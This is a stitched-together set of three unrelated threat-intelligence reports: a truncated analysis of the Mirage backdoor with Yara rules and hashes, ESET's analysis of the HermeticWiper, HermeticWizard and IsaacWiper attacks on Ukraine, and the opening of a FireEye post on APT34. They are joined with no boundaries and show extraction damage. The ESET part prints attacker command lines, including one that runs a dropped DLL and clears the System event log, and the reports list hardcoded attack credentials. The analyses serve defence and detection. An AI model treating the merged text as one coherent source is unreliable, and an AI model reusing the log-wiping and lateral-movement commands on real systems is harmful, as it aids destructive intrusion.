This profile contains the CPU speed, mem- ory size, system name and username.
Similar information and encoding techniques are seen in the initial phone-home requests of Mirage infections.
Mirage phones home to its C2 servers using a standard HTTP request.
From the activity CTU researchers have observed when executing Mirage in a malware sandbox, this communication commonly occurs over ports 80, 443 and 8080, and it can implement SSL for added security.
The earliest variant of Mirage uses an HTTP POST request to transmit the initial phone- home request.
This phone-home request contains detailed system information of the in- fected system to give the C2 server a rough profile of each system that is infected and that is calling home.
http://ddos.arbornetworks.com/2011/03/jkddos-ddos-bot-with-an-interest-in-the-mining-industry/ Figure 1.
Phone-home request (variant 1).
The payload is encoded with a simple cipher to mask the data being sent to the C2 serv- er.
The cipher encodes the payload by adding each characters ASCII value by its offset from the start of the payload.
Raw values M i r a g e Raw hex 0x4d 0x69 0x72 0x61 0x67 0x65 Raw decimal 77 105 114 97 103 101 Encoded decimal 77 106 116 100 107 106 Encoded hex 0x4d 0x6a 0x74 0x64 0x6b 0x6a Encoded values M j t d k j Table 1.
Payload encoding.
The initial payload starts with the word Mirage, which in its encoded state is Mjtdkj.
From there, Mirage encodes and sends the MAC address, CPU information, system name and username in the initial request to the C2 server.
If the C2 server successfully receives the request, then it responds with an HTTP re- sponse code 200 OK.
The word Mirage appears in its payload, followed by two null bytes.
If there is no response or an invalid response from the C2 server, the infected sys- tem continues to send its initial phone-home request at regular intervals.
Figure 2.
Decoded payload (variant 1).
If the infected system connects successfully to the C2 server, then the infected system continues to send regular check-in updates.
These updates are transmitted the same way as the initial phone-home request however, only the MAC address of the infected system is sent in the payload.
Figure 3.
Decoded check-in update (variant 1).
The second variant of Mirage uses HTTP GET requests instead of HTTP POST requests to transmit the phone-home requests payload.
This evolved variants initial phone- home requests payload is contained in a Base64-encoded string in the initial request.
The decoded Base64 payload contains a second level of encoding that has several varia- tions.
The data being transmitted in the encoded string contains the same data as the previous variant, as well as some additional data.
One change is the text at the begin- ning of the phone-home payload.
Instead of the word Mirage used in earlier variants, later variants use the phrase Neo, welcome to the desert of the real, a quote from the movie The Matrix.
Figure 4.
Sample request (variant 2).
The CTU research team has seen the encoding used in variant 2 in other malware fami- lies.
One such malware family is Lingbo, which uses a similar encoding algorithm but does not contain some of the major characteristics of Mirage.
Samples from both mal- ware families have included strange embedded quotes.
Instead of Mirages quote from The Matrix, Lingbo contains the embedded quote It is the end of the world and I feel Fine, from the REM song Its the end of the world.
Custom versions and variants The CTU research team identified several Mirage variants that had unique attributes not designed for widespread targeting.
These custom variants were designed to operate un- der specific conditions and to evade common system defenses.
CTU researchers also found several samples that contained debugging information, possibly from early ver- sions.
One of the variants was seen in a subset of samples that had been modified specifically for the environment targeted by the threat actors.
These samples had been configured with default credentials for the targeted environments web proxy servers.
The follow- ing proxy usernames and password combinations appear in the samples collected by the CTU research team: a1:a1 pagmb:pa quickheal:quickheal In the debugging versions, the CTU research team discovered two strings that identified the source code paths from which the samples were compiled: D:\....\MF-v1.2\Server\Debug\Server.pdb (MD5 hash fa26f410d0133f4152ea78d- f3978c22) E:\fox_1.2 20110307\MF-v1.2\Server\Release\MirageFox_Server.pdb (MD5 hash 1045e26819ff782015202838e2c609f7) The .pdb file extension is commonly used with Microsoft Visual Studio.
Its use in these debugging versions coincides with the samples for Mirage, which were written using Microsoft Visual C. CTU researchers also noted that the original name of the trojan used in the path is MirageFox, which is likely the name used by the threat actors.
This information leads to two potential conclusions: 1.
The two variants of MF-v1.2, the debug version and the release version, allow the threat actors to customize variants.
CTU researchers have already seen this activity.
2.
The use of different drive letters but similar source code paths may indicate that the threat actors are keeping a repository of tools on a central file server for shared use.
Identification of victims From May to the date of this publication, the CTU research team engaged in a sinkhol- ing operation.
During the operation, several of the domains formerly used as part of the C2 infrastructure were taken over, and all activity to the domains was logged.
The sink- holed domains were no longer in use and were freely available for registration.
During the operation, CTU researchers were able to identify approximately 80 IP ad- dresses regularly communicating to the sinkhole.
After analyzing and decoding the re- quests, CTU researchers discovered that a subset of the observed systems had user- names such as admin or owner, and the originating IP address resolved to either a residence or an antivirus or security company.
Because these requests were most likely from behavioral testing on the malware sample, the CTU research team filtered these connections out of the results.
After decoding the inbound requests, the CTU research team identified approximately 100-120 infected systems attempting to phone home.
The majority of the inbound re- quests came from Taiwan or the Philippines, with several isolated cases in Nigeria, Brazil, Israel, Canada and Egypt.
Many of the IP addresses originate from networks owned by the oil company, energy company, and military organization.
Deeper analysis of the phone-home requests and correlation with social networking sites allowed CTU researchers to identify a specific individual infected with Mirage.
It was an executive-level finance manager of the Phillipine-based oil company.
Figure 5.
Sources of infected hosts.
Threat actors The threat actors using Mirage have employed several tactics to attempt to hide their identities and their primary C2 servers.
One of the common tactics is using dynamic do- main name system (dDNS) domains for the callbacks to the C2 servers.
dDNS providers (e.g., Dyndns.com) allow anyone to register for a free third-level domain (e.g., Checkip.- dyndns.org) and require only a valid email address, which is kept private.
When investigating the DNS addresses of the C2 servers, CTU researchers identified several IP addresses of hosting companies based in the United States that are running HTran.
HTran software is used to proxy connections from one system to another.
In the past, it has been used to disguise the true C2 servers used by malware authors.
In the CTU research teams 2011 analysis of HTran, the softwares author was identified as a member of the Chinese hacker group HUC, the Honker Union of China.
Despite efforts to operate anonymously, there were several clues that pointed to the true identities of the attackers.
During an analysis of the phone-home activity, CTU re- searchers identified four unique second-level domains that were not connected to a dDNS provider.
Two of these domains shared a common owners email address, and two were previously flagged for suspicious activity.
C2 domain name Owner name Owner email Adobesuit.com nie min dnsjacksyahoo.com antivirusbar.org white jacks dnsjacksyahoo.com Echosky.biz tawnya grilth jeno_1980hotmail.com India-videoer.com india videoer kinghotmail.com Asia-online.us bkpathak king_publichotmail.com / kingshotmail.com Table 2.
Unique second-level domains.
CTU researchers correlated 86 of the IP addresses the dDNS domains used in the phone-home request to IP addresses of subdomains belonging to domains owned by dnsjacksyahoo.com.
Of the remaining 14 that were not directly associated, CTU re- http://www.secureworks.com/cyber-threat-intelligence/threats/htran/ searchers correlated 10 to IP ranges that resolved to subdomains owned by dnsjacksyahoo.com.
Figure 6.
Analysis of IP addresses.
(
Source: Dell SecureWorks) This link between the IP addresses and the subdomains indicates that dnsjacksyahoo.- com owns the dDNS domains.
Using historical DNS records, CTU researchers were able to map each of the dDNS domains to a subdomain of a domain owned by dnsjacksya- hoo.com.
Figure 7.
Details of IP range.
In the samples CTU researchers analyzed, the other domains associated with the phone- home activity are asia-online.us, india-videoer.com and Echosky.biz.
The CTU research team previously flagged these domains in the HTran investigation and later in the Sin Digoo analysis.
The analysis of the Sin Digoo affair indicated that jeno_1980hotmail.- com and kinghotmail.com were connected.
From the data the CTU research team has collected, indications point to dnsjacksyahoo.com being either another alias or an asso- ciate of the actor referenced in the HTran and Sin Digoo analyses.
Figure 8.
A common phone number was found to link india-videoer.com and asia-online.us Conclusion Mirage represents only one small piece of malware involved in an ongoing worldwide campaign.
Over the past few years, these campaigns have become extremely successful, and a great deal of intellectual property and company secrets has been stolen from the targeted companies.
For companies in the targeted industries, it is important to have a strong perimeter secu- rity line in place.
Using active intrusion detection and prevention systems as well as DNS monitoring for malicious domains is essential to detecting this activity.
Companies that use the Yara malware identification and classification tool for scanning local sys- tems can use the rules provided in the appendix to search for potential infections.
Traditionally, the success of botnets created by threat actor groups has been measured by the quantity of infected systems and the difficulty to defend against in the long term.
These targeted attacks show that a successful campaign requires only a small quantity of infected systems to accomplish the attackers objectives and to yield extremely power- http://www.secureworks.com/cyber-threat-intelligence/threats/htran/ http://www.secureworks.com/cyber-threat-intelligence/threats/sindigoo/ http://code.google.com/p/yara-project/ ful results.
Appendix Yara rules rule Mirage_APT_Backdoor : APT Mirage Backdoor Rat MirageRat  meta: author  Silas Cutler (SCutlerSecureWorks.
com) version  1.0 description  Malware related to APT cam paign type  APT Trojan / RAT / Backdoor strings: a1  welcome to the desert of the real a2  Mirage b  Encoding: gzip c  /\/[A-Za-z]\?hlen/ condition: ((a1 or a2) or b) and c  MD5 hashes 5efd0d7f52890291599c8562e8ea92db eacd03ee55ea7d22b45762c82ae1c0e5 ce1cdc9c95a6808945f54164b2e4d9d2 5326e4fe9fd10e37d46e81c0f6bbf29a b2e821828df59c734c1cc379ef7f3122 875877eedcd9f2d60bf63937fe22073d 02d77cdaa808ded64d09eea732a586cc 18a5c6e92b962bc6512486db94bb17a7 32b33321290ac8011aa218da554b8fa5 f41896e9f77855842380fd9ed795bc64 407c291cd5c73da680fa9af9ec017fff 7adb0f22468c10901bd280b2d8a154b0 abac650ab39c0dd074310710081d715d c9e49c504d5ca953c858d29b7a2acb9d aaa9aae486ee7342d29a0a2f9b0ca205 7ad79f9a0efde6f4673585e400f29f18 f51fbafc652e10a9ce13795d4cb2d449 a748ff9663b2d39a35e4c073b73cd7f6 e7d5ac11903c0217a999a79bc87182d2 1b918c8a40dc4a66430cfec7dabeb7f3 c72d7794dc7f2eda6b44b934fe8fff1c ad2dda9241cd6c0e879ab665d77ce13c ccf34d2ba81de856af8167e73d0c8b69 ebe7699033424b9ef444364bd23ba665 7349c7908a672de885fdf9f9cc4547b5 eacd14ce8414911546cb027a8cb2fecd 4b9723a4060838114e53d1df3fa2537a 070ef82a0bded089b6f996a392ca7b9a 286f7b377f5d0ca3505ed1ba6601c947 4d74a83e2f623f17e17eb95736dc587b a4b9bfc5aa5e37cc613112b9a9dcdb3e fb17ffc7495880a7c19df0ebe5c97ad7 e29ab99be392bb7012f516a2dbfdc00c 8caf2a96e4d7bb83156c260ccc8f47e7 a4ff66224a0967763e1d079c99482577 f0b93bf7273cbeaed69ed55b5169daf7 3be6fea2bf35c3c3be860622c68ff369 5fa26f410d0133f4152ea78df3978c22 3d10e68dec16b1a4bf949e3e403f2dda 5c371a6dfb45f188fe8e6da4fee9300d 9ff3a9ef192453ecec26cf567c579bff 65445b138d80954cc912a6e43fe5b66d 685805936d8744225f8c11965202de8e 80e978d0eea713812f1dd6b4e9b7daf2 921c724ccb04b9f672b294ffff83ce7b 072877b961e31e8792a296c63b9c7b56 1a8bc862ceaa7e05189345065145842a 6794cc6f5e463ee7432b9e718d8c1b8e fdb949112cc72c68fc7c1ea0c65344bc f4a6114fce22eb18b0ccf19cfa68ddba 1045e26819ff782015202838e2c609f7 5640beb540bef2e97ec4366713d533b8 0f93d28964b440c241ca126a7f94dae2 075df4723073ff08cd3e90d2b1f11722 240627a306f32483378e44ff13e12169 5f2a4d865e6e94f7f15571faab5128d6 3bfa7b806ff540cc1c264ec75048fbc4 05a02e08cce99d3821574d8612f757fd d60cfe03bce8647cce723991e2cd2f8c 6ed270da7450945a3a5a05eda8312732 a1083968b78c081135268b6e4e12b1e5 0fce05e2cea6bd9c217373f2ab962d82 85ef19fab3951d4dd56e42b5a9ccdeea 422f1ffe7e5bda7062f005be92fba36e 346aa61b5739e616482a1bc8bb548871 c2661e45ec2198b04b29ec3fd1e120b2 e04e5eb4aefeb326246d7f41d1b50759 eb1aa241b4a482ac44b27ce38eabccb7 418fb9ba2a61bccab3e54ebe0698c4b6 590e68aaaa5c2353b7288f64cc87d9bb 1f9894e730c0f5ba085baae409aa963a 11b76423f450ba610f073e7522eeb56b 54d37fb1f624c798f0b400b4f50f3635 7fda0451e4d320cc34efcaaabedd6824 84fc624f9f5f8de6980497058db1e8e1 964eec615f977b05bc87943ce0942cf9 5069057b799636c012eec38147fb96e6 a4a1670c537861f7d5b0db115a7aa5fa 00b9619613bc82f5fe117c2ca394a328 2219bef789ff73efc0a01f87be03188d
1/7 March 1, 2022 IsaacWiper and HermeticWizard: New wiper and worm targeting Ukraine welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine As the recent hostilities started between Russia and Ukraine, ESET researchers discovered several malware families targeting Ukrainian organizations.
On February 23 , 2022, a destructive campaign using HermeticWiper targeted multiple Ukrainian organizations.
This cyberattack preceded, by a few hours, the start of the invasion of Ukraine by Russian Federation forces Initial access vectors varied from one organization to another.
We confirmed one case of the wiper being dropped by GPO, and uncovered a worm used to spread the wiper in another compromised network.
Malware artifacts suggest that the attacks had been planned for several months.
On February 24 , 2022, a second destructive attack against a Ukrainian governmental network started, using a wiper we have named IsaacWiper.
ESET Research has not yet been able to attribute these attacks to a known threat actor.
Destructive attacks in Ukraine As stated in this ESETResearch tweet and WLS blogpost, we uncovered a destructive attack against computers in Ukraine that started around 14:52 on February 23 , 2022 UTC.
This followed distributed denial-of-service (DDoS) attacks against major Ukrainian websites and preceded the Russian military invasion by a few hours.
These destructive attacks leveraged at least three components: HermeticWiper: makes a system inoperable by corrupting its data HermeticWizard: spreads HermeticWiper across a local network via WMI and SMB HermeticRansom: ransomware written in Go HermeticWiper was observed on hundreds of systems in at least five Ukrainian organizations.
On February 24 , 2022, we detected yet another new wiper in a Ukrainian governmental network.
We named it IsaacWiper and we are currently assessing its links, if any, with HermeticWiper.
It is important to note that it was seen in an organization that was not affected by HermeticWiper.
Attribution At this point, we have not found any tangible connection with a known threat actor.
HermeticWiper, HermeticWizard, and HermeticRansom do not share any significant code similarity with other samples in the ESET malware collection.
IsaacWiper is still unattributed as well.
Timeline HermeticWiper and HermeticWizard are signed by a code-signing certificate (shown in Figure 1) assigned to Hermetica Digital Ltd issued on April 13 , 2021.
We requested the issuing CA (DigiCert) to revoke the certificate, which it did on February 24 , 2022.
rd th rd th th th https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/ https://twitter.com/ESETresearch/status/1496581903205511181 https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine/ https://www.politico.eu/article/minister-ukraine-websites-down-in-another-massive-online-attack/ https://www.welivesecurity.com/wp-content/uploads/2022/03/Figure-1.-Code-signing-certificate-assigned-to-Hermetic-Digital-Ltd.png 2/7 Figure 1.
Code-signing certificate assigned to Hermetic Digital Ltd According to a report by Reuters, it seems that this certificate was not stolen from Hermetica Digital.
It is likely that instead the attackers impersonated the Cypriot company in order to get this certificate from DigiCert.
ESET researchers assess with high confidence that the affected organizations were compromised well in advance of the wipers deployment.
This is based on several facts: HermeticWiper PE compilation timestamps, the oldest being December 28 , 2021 The code-signing certificate issue date of April 13 , 2021 Deployment of HermeticWiper through GPO in at least one instance suggests the attackers had prior access to one of that victims Active Directory servers The events are summarized in the timeline in Figure 2.
Figure 2.
Timeline of important events Initial access HermeticWiper The initial access vector is currently unknown but we have observed artifacts of lateral movement inside the targeted organizations.
In one entity, the wiper was deployed through the default domain policy (GPO), as shown by its path on the system: C:\Windows\system32\GroupPolicy\DataStore\0\sysvol\redacted\Policies\31B2F340-016D-11D2-945F- 00C04FB984F9\Machine\cc.exe This indicates that attackers likely took control of the Active Directory server.
In other instances, it is possible that Impacket was used to deploy HermeticWiper.
A Symantec blogpost states that the wiper was deployed using the following command line: cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1 CSIDL_WINDOWS\policydefinitions\postgresql.exe 1 \\127.0.0.1\ADMIN\__1636727589.6007507 21 The last part is the same as the default behavior in Impackets wmiexec.py, found on GitHub.
Finally, a custom worm that we have named HermeticWizard was used to spread HermeticWiper across the compromised networks via SMB and WMI.
IsaacWiper The initial access vector is also currently unknown.
It is likely that attackers used tools such as Impacket to move laterally.
On a few machines, we have also observed RemCom, a remote access tool, being deployed at the same time as IsaacWiper.
Technical analysis th th https://www.reuters.com/world/europe/cyprus-games-writer-denies-links-malware-found-before-russian-invasion-2022-02-24/ https://www.welivesecurity.com/wp-content/uploads/2022/03/Figure-2.-Timeline-of-important-events.png https://github.com/SecureAuthCorp/impacket https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://github.com/SecureAuthCorp/impacket/blob/cd4fe47cfcb72d7d35237a99e3df95cedf96e94f/examples/wmiexec.pyL295 https://github.com/kavika13/RemCom 3/7 HermeticWiper HermeticWiper is a Windows executable with four drivers embedded in its resources.
They are legitimate drivers from the EaseUS Partition Master software signed by CHENGDU YIWO Tech Development Co., and they implement low-level disk operations.
The following files were observed: 0E84AFF18D42FC691CB1104018F44403C325AD21: x64 driver 379FF9236F0F72963920232F4A0782911A6BD7F7: x86 driver 87BD9404A68035F8D70804A5159A37D1EB0A3568: x64 XP driver B33DD3EE12F9E6C150C964EA21147BF6B7F7AFA9: x86 XP driver Depending on the operating system version, one of those four drivers is chosen and dropped in C:\Windows\System32\drivers\4 random letters.sys.
It is then loaded by creating a service.
HermeticWiper then proceeds by disabling the Volume Shadow Copy Service (VSS) and wipes itself from disk by overwriting its own file with random bytes.
This anti-forensic measure is likely intended to prevent the analysis of the wiper in a post-incident analysis.
It is interesting to note that most of the file operations are performed at a low level using DeviceIoControl calls.
The following locations are overwritten with random bytes generated by the Windows API function CryptGenRandom: The master boot record (MBR) The master file table (MFT) Bitmap and LogFile on all drives The files containing the registry keys (NTUSER) C:\Windows\System32\winevt\Logs In addition, it also recursively wipes folders and files in Windows, Program Files, Program Files(x86), PerfLogs, Boot, System Volume Information, and AppData folders, using a FSCTL_MOVE_FILE operation.
This technique appears to be quite unusual and very similar to what is implemented in the Windows Wipe project on GitHub (see the wipe_extent_by_defrag function).
It also wipes symbolic links and big files in My Documents and Desktop folders by overwriting them with random bytes.
Finally, the machine is restarted.
However, it will fail to boot, because the MBR, the MFT, and most files were wiped.
We believe it is not possible to recover the impacted machines.
HermeticWizard Looking for other samples signed by the same code-signing certificate (Hermetica Digital Ltd), we found a new malware family that we named HermeticWizard.
It is a worm that was deployed on a system in Ukraine at 14:52:49 on February 23 , 2022 UTC.
It is a DLL file developed in C that exports the functions DllInstall, DllRegisterServer, and DllUnregisterServer.
Its export DLL name is Wizard.dll.
It contains three resources, which are encrypted PE files: A sample of HermeticWiper (912342F1C840A42F6B74132F8A7C4FFE7D40FB77) exec_32.dll, responsible for spreading to other local computers via WMI (6B5958BFABFE7C731193ADB96880B225C8505B73) romance.dll, responsible for spreading to other local computers via SMB (AC5B6F16FC5115F0E2327A589246BA00B41439C2) The resources are encrypted with a reverse XOR loop.
Each block of four bytes is XORed with the previous block.
Finally, the first block is XORed with a hardcoded value, 0x4A29B1A3.
HermeticWizard is started using the command line regsvr32.exe /s /i path.
First, HermeticWizard tries to find other machines on the local network.
It gathers known local IP addresses using the following Windows functions: DNSGetCacheDataTable GetIpNetTable WNetOpenEnumW(RESOURCE_GLOBALNET, RESOURCETYPE_ANY) NetServerEnum GetTcpTable GetAdaptersAddresses It then tries to connect to those IP addresses (and only if they are local IP addresses) to see if they are still reachable.
In case the -s argument was provided when HermeticWizard was started (regsvr32.exe /s /i:-s path), it also scans the full /24 range.
So, if 192.168.1.5 was found in, for example, the DNS cache, it incrementally scans from 192.168.1.1 to 192.168.1.254.
For each IP address, it tries to open a TCP connection on the following ports: 20: ftp rd https://github.com/bleachbit/windows-wipe/blob/master/filewipe.py 4/7 21: ftp 22: ssh 80: http 135: rpc 137: netbios 139: smb 443: https 445: smb The ports are scanned in a random order so its not possible to fingerprint HermeticWizard traffic that way.
When it has found a reachable machine, it drops the WMI spreader (detailed below) on disk and creates a new process with the command line rundll32 current folder\6 random letters.ocx 1 -s path to HermeticWizard  i target IP.
It does the same with the SMB spreader (detailed below) that is also dropped in current folder\6 random letters.ocx, but with different random letters.
Finally, it drops HermeticWiper in current folder\6 random letters.ocx and executes it.
WMI spreader The WMI spreader, named by its developers exec_32.dll, takes two arguments: -i: The target IP address -s: The file to copy and execute on the target machine First, it creates a connection to the remote ADMIN share of the target using WNetAddConnection2W.
The file provided in the -s argument is then copied using CopyFileW.
The remote file has a random name generated with CoCreateGUID (e.g., cB9F06408D8D2.dll) and the string format c02X02X02X02X02X02X.
Second, it tries to execute the copied file, HermeticWizard, on the remote machine using DCOM.
It calls CoCreateInstance with CLSID_WbemLocator as argument.
It then uses WMI Win32_Process to create a new process on the remote machine, with the command line C:\windows\system32\cmd.exe /c start C:\windows\system32\\regsvr32.exe /s /i C:\windows\filename.dll.
Note that the -s argument is not passed to HermeticWizard, meaning that it wont scan the local network again from this newly compromised machine.
If the WMI technique fails, it tries to create a service using OpenRemoteServiceManager with the same command as above.
If it succeeds in executing the remote DLL in any way, it sleeps until it can delete the remote file.
SMB spreader The SMB spreader, named by its developers romance.dll, takes the same two arguments as the WMI spreader.
Its internal name is likely a reference to the EternalRomance exploit, even if it does not use any exploit.
First it attempts to connect to the following pipes on the remote SMB share (on port 445): samr browser netlogon lsarpc ntsvcs svcctl These are pipes known to be used in lateral movement.
The spreader has a list of hardcoded credentials that are used in attempts to authenticate via NTLMSSP to the SMB shares: usernames guest test admin user root administrator manager operator 5/7 passwords 123 Qaz123 Qwerty123 This list of credentials is surprisingly short and is unlikely to work in even the most poorly protected networks.
If the connection is successful, it attempts to drop, to the target ADMIN share, the file referenced by the -s argument.
As for the WMI spreader, the remote filename is generated by a call to CoCreateInstance.
It then executes, via SMB, the command line cmd /c start regsvr32 /s /i ..\\filename   start cmd /c \ping localhost -n 7  wevtutil cl System\.
HermeticRansom ESET researchers also observed HermeticRansom  ransomware written in Go  being used in Ukraine at the same time as the HermeticWiper campaign.
HermeticRansom was first reported in the early hours of February 24 , 2022 UTC, in a tweet from AVAST.
Our telemetry shows a much smaller deployment compared to HermeticWiper.
This ransomware was deployed at the same time as HermeticWiper, potentially in order to hide the wipers actions.
On one machine, the following timeline was observed: 2022-02-23 17:49:55 UTC: HermeticWiper in C:\Windows\Temp\cc.exe deployed 2022-02-23 18:06:57 UTC: HermeticRansom in C:\Windows\Temp\cc2.exe deployed by the netsvcs service 2022-02-23 18:26:07 UTC: Second HermeticWiper in C:\Users\com.exe deployed On one occasion, we observed HermeticRansom being deployed through GPO, just like HermeticWiper: C:\WINDOWS\system32\GroupPolicy\DataStore\0\sysvol\redacted\Policies\31B2F340-016D-11D2-945F- 00C04FB984F9\Machine\cpin.exe A few strings were left in the binary by the attackers they reference US President Biden and the White House: _/C_/projects/403forBiden/wHiteHousE.baggageGatherings _/C_/projects/403forBiden/wHiteHousE.lookUp _/C_/projects/403forBiden/wHiteHousE.primaryElectionProcess _/C_/projects/403forBiden/wHiteHousE.GoodOffice1 Once files are encrypted, the message in Figure 3 is displayed to the victim.
Figure 3.
HermeticRansoms ransom note IsaacWiper IsaacWiper is found in either a Windows DLL or EXE with no Authenticode signature it appeared in our telemetry on February 24 , 2022.
As mentioned earlier, the oldest PE compilation timestamp we have found is October 19 , 2021, meaning that if its PE compilation timestamp was not tampered with, IsaacWiper might have been used in previous operations months earlier.
For DLL samples, the name in the PE export directory is Cleaner.dll and it has a single export _Start4.
We have observed IsaacWiper in programdata and C:\Windows\System32 under the following filenames: clean.exe th th th https://twitter.com/AvastThreatLabs/status/1496663206634344449 https://www.welivesecurity.com/wp-content/uploads/2022/03/Figure-3.-HermeticRansomE28099s-ransom-note.png 6/7 cl.exe cl64.dll cld.dll cll.dll It has no code similarity with HermeticWiper and is way less sophisticated.
Given the timeline, it is possible that both are related but we havent found any strong connection yet.
IsaacWiper starts by enumerating the physical drives and calls DeviceIoControl with the IOCTL IOCTL_STORAGE_GET_DEVICE_NUMBER to get their device numbers.
It then wipes the first 0x10000 bytes of each disk using the ISAAC pseudorandom generator.
The generator is seeded using the GetTickCount value.
It then enumerates the logical drives and recursively wipes every file of each disk with random bytes also generated by the ISAAC PRNG.
It is interesting to note that it recursively wipes the files in a single thread, meaning that it would take a long time to wipe a large disk.
On February 25 , 2022, attackers dropped a new version of IsaacWiper with debug logs.
This may indicate that the attackers were unable to wipe some of the targeted machines and added log messages to understand what was happening.
The logs are stored in C:\ProgramData\log.txt and some of the log messages are: getting drives start erasing physical drives start erasing logical drive start erasing system physical drive system physical drive  FAILED start erasing system logical drive Conclusion This report details a destructive cyberattack that impacted Ukrainian organizations on February 23 , 2022, and a second attack that affected a different Ukrainian organization from February 24  through 26 , 2022.
At this point, we have no indication that other countries were targeted.
However, due to the current crisis in Ukraine, there is still a risk that the same threat actors will launch further campaigns against countries that back the Ukrainian government or that sanction Russian entities.
IoCs SHA-1 Filename ESET detection name Description 912342F1C840A42F6B74132F8A7C4FFE7D40FB77 com.exe Win32/KillDisk.
NCV HermeticWip 61B25D11392172E587D8DA3045812A66C3385451 conhosts.exe Win32/KillDisk.
NCV HermeticWip 3C54C9A49A8DDCA02189FE15FEA52FE24F41A86F c9EEAF78C9A12.dat Win32/GenCBL.BSP HermeticWiz F32D791EC9E6385A91B45942C230F52AFF1626DF cc2.exe WinGo/Filecoder.
BK HermeticRan AD602039C6F0237D4A997D5640E92CE5E2B3BBA3 cl64.dll Win32/KillMBR.NHP IsaacWiper 736A4CFAD1ED83A6A0B75B0474D5E01A3A36F950 cld.dll Win32/KillMBR.NHQ IsaacWiper E9B96E9B86FAD28D950CA428879168E0894D854F clean.exe Win32/KillMBR.NHP IsaacWiper 23873BF2670CF64C2440058130548D4E4DA412DD XqoYMlBX.exe Win32/RiskWare.
RemoteAdmin.
RemoteExec.
AC Legitimate RemCom rem access tool MITRE ATTCK techniques This table was built using version 10 of the MITRE ATTCK framework.
Tactic ID Name Description Resource Development T1588.002 Obtain Capabilities: Tool Attackers used RemCom and potentially Impacket as part of their campaign.
T1588.003 Obtain Capabilities: Code Signing Certificates Attackers acquired a code-signing certificate for their campaigns.
Initial Access T1078.002 Valid Accounts: Domain Accounts Attackers were able to deploy wiper malware through GPO.
th rd th th https://en.wikipedia.org/wiki/ISAAC_(cipher) https://attack.mitre.org/resources/versions/ https://attack.mitre.org/versions/v10/techniques/T1588/002 https://attack.mitre.org/versions/v10/techniques/T1588/003 https://attack.mitre.org/versions/v10/techniques/T1078/002/ 7/7 Tactic ID Name Description Execution T1059.003 Command and Scripting Interpreter: Windows Command Shell Attackers used the command line during their attack (e.g., possible Impacket usage).
T1106 Native API Attackers used native APIs in their malware.
T1569.002 System Services: Service Execution HermeticWiper uses a driver, loaded as a service, to corrupt data.
T1047 Windows Management Instrumentation HermeticWizard attempts to spread to local computers using WMI.
Discovery T1018 Remote System Discovery HermeticWizard scans local IP ranges to find local machines.
Lateral Movement T1021.002 Remote Services: SMB/Windows Admin Shares HermeticWizard attempts to spread to local computers using SMB.
T1021.003 Remote Services: Distributed Component Object Model HermeticWizard attempts to spread to local computers using WbemLocator to remotely start a new process via WMI.
Impact T1561.002 Disk Wipe: Disk Structure Wipe HermeticWiper corrupts data in the systems MBR and MFT.
T1561.001 Disk Wipe: Disk Content Wipe HermeticWiper corrupts files in Windows, Program Files, Program Files(x86), PerfLogs, Boot, System Volume Information, and AppData.
T1485 Data Destruction HermeticWiper corrupts user data found on the system.
T1499.002 Endpoint Denial of Service: Service Exhaustion Flood By using DDoS attacks, the attackers made a number of government websites unvailable.
1 Mar 2022 - 02:00PM Newsletter https://attack.mitre.org/versions/v10/techniques/T1059/003 https://attack.mitre.org/versions/v10/techniques/T1106 https://attack.mitre.org/versions/v10/techniques/T1569/002 https://attack.mitre.org/versions/v10/techniques/T1047 https://attack.mitre.org/versions/v10/techniques/T1018/ https://attack.mitre.org/versions/v10/techniques/T1021/002 https://attack.mitre.org/versions/v10/techniques/T1021/003/ https://attack.mitre.org/versions/v10/techniques/T1561/002 https://attack.mitre.org/versions/v10/techniques/T1561/001 https://attack.mitre.org/versions/v10/techniques/T1485 https://attack.mitre.org/versions/v10/techniques/T1499/002 https://www.eset.com/int/business/services/threat-intelligence/?utm_sourcewelivesecurity.comutm_mediumreferralutm_campaignwls-researchutm_contentisaacwiper-hermeticwizard-wiper-worm-targeting-ukraine
Hard Pass: Declining APT34s Invite to Join Their Professional Network fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional- network.html Background With increasing geopolitical tensions in the Middle East, we expect Iran to significantly increase the volume and scope of its cyber espionage campaigns.
Iran has a critical need for strategic intelligence and is likely to fill this gap by conducting espionage against decision makers and key organizations that may have information that furthers Irans economic and national security goals.
The identification of new malware and the creation of additional infrastructure to enable such campaigns highlights the increased tempo of these operations in support of Iranian interests.
FireEye Identifies Phishing Campaign In late June 2019, FireEye identified a phishing campaign conducted by APT34, an Iranian- nexus threat actor.
Three key attributes caught our eye with this particular campaign: 1.
Masquerading as a member of Cambridge University to gain victims trust to open malicious documents, 2.
The usage of LinkedIn to deliver malicious documents, 3.
The addition of three new malware families to APT34s arsenal.
FireEyes platform successfully thwarted this attempted intrusion, stopping a new malware variant dead in its tracks.
Additionally, with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE), Intelligence, and Advanced Practices teams, we identified three new malware families and a reappearance of PICKPOCKET, malware exclusively observed in use by APT34.
The new malware families, which we will examine later in this post, show APT34 relying on their PowerShell development capabilities, as well as trying their hand at Golang.
APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014.
They use a mix of public and non-public tools to collect strategic information that would benefit nation-state interests pertaining to geopolitical and economic needs.
APT34 aligns with elements of activity reported as OilRig and Greenbug, by various security researchers.
This threat group has conducted broad targeting across a variety of industries operating in the Middle East however, we believe APT34s strongest interest is gaining access to financial, energy, and government entities.
Additional research on APT34 can be found in this FireEye blog post, this CERT-OPMD post, and this Cisco post.
1/11 https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html https://blog-cert.opmd.fr/dnspionage-focus-on-internal-actions/ https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html Managed Defense also initiated a Community Protection Event (CPE) titled Geopolitical Spotlight: Iran.
This CPE was created to ensure our customers are updated with new discoveries, activity and detection efforts related to this campaign, along with other recent activity from Iranian-nexus threat actors to include APT33, which is mentioned in this updated FireEye blog post.
